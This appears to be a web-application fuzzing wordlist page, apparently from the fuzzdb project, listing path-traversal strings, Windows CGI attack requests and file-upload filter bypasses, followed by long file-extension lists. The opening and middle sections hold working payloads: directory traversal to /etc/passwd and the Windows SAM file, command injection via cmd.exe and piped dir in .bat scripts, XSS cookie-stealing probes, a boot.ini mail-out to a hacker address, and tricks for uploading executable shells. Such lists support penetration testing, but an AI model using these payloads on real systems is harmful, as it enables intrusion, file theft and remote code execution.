.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> 